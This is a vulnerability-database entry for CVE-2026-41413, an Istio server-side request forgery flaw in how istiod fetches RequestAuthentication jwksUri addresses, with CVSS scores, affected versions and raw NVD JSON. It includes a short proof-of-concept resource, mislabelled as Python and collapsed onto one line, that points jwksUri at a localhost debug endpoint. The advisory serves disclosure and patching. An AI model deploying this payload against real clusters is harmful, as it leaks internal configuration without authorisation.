Security Vulnerability Report
中文
CVE-2026-41413 CVSS 5.0 MEDIUM

CVE-2026-41413

Published: 2026-05-07 06:16:05
Last Modified: 2026-05-08 17:03:52

Description

Istio is an open platform to connect, manage, and secure microservices. Prior to versions 1.28.6 and 1.29.2, when a RequestAuthentication resource is created with a jwksUri pointing to an internal service, istiod makes an unauthenticated HTTP GET request to that URL without filtering out localhost or link local ips. This can result in sensitive data being distributed to Envoy proxies via xDS configuration. This issue has been patched in versions 1.28.6 and 1.29.2.

CVSS Details

CVSS Score
5.0
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:istio:istio:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:istio:istio:*:*:*:*:*:*:*:* - VULNERABLE
Istio < 1.28.6
Istio < 1.29.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
apiVersion: security.istio.io/v1beta1 kind: RequestAuthentication metadata: name: cve-2026-41413-poc namespace: default spec: selector: matchLabels: app: vulnerable-app jwtRules: - issuer: "attacker-controlled-issuer" # Exploit: Pointing to localhost/internal metadata to trigger SSRF jwksUri: "http://127.0.0.1:15014/debug/configz"

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41413", "sourceIdentifier": "[email protected]", "published": "2026-05-07T06:16:04.730", "lastModified": "2026-05-08T17:03:51.907", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Istio is an open platform to connect, manage, and secure microservices. Prior to versions 1.28.6 and 1.29.2, when a RequestAuthentication resource is created with a jwksUri pointing to an internal service, istiod makes an unauthenticated HTTP GET request to that URL without filtering out localhost or link local ips. This can result in sensitive data being distributed to Envoy proxies via xDS configuration. This issue has been patched in versions 1.28.6 and 1.29.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N", "baseScore": 5.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:istio:istio:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.28.6", "matchCriteriaId": "C309A741-B098-4B78-863D-64BCDE3A8CFE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:istio:istio:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.29.0", "versionEndExcluding": "1.29.2", "matchCriteriaId": "60B7D5B0-B748-4C22-A4B3-63D25E78F061"}]}]}], "references": [{"url": "https://github.com/istio/istio/releases/tag/1.28.6", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/istio/istio/releases/tag/1.29.2", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/istio/istio/security/advisories/GHSA-fgw5-hp8f-xfhc", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}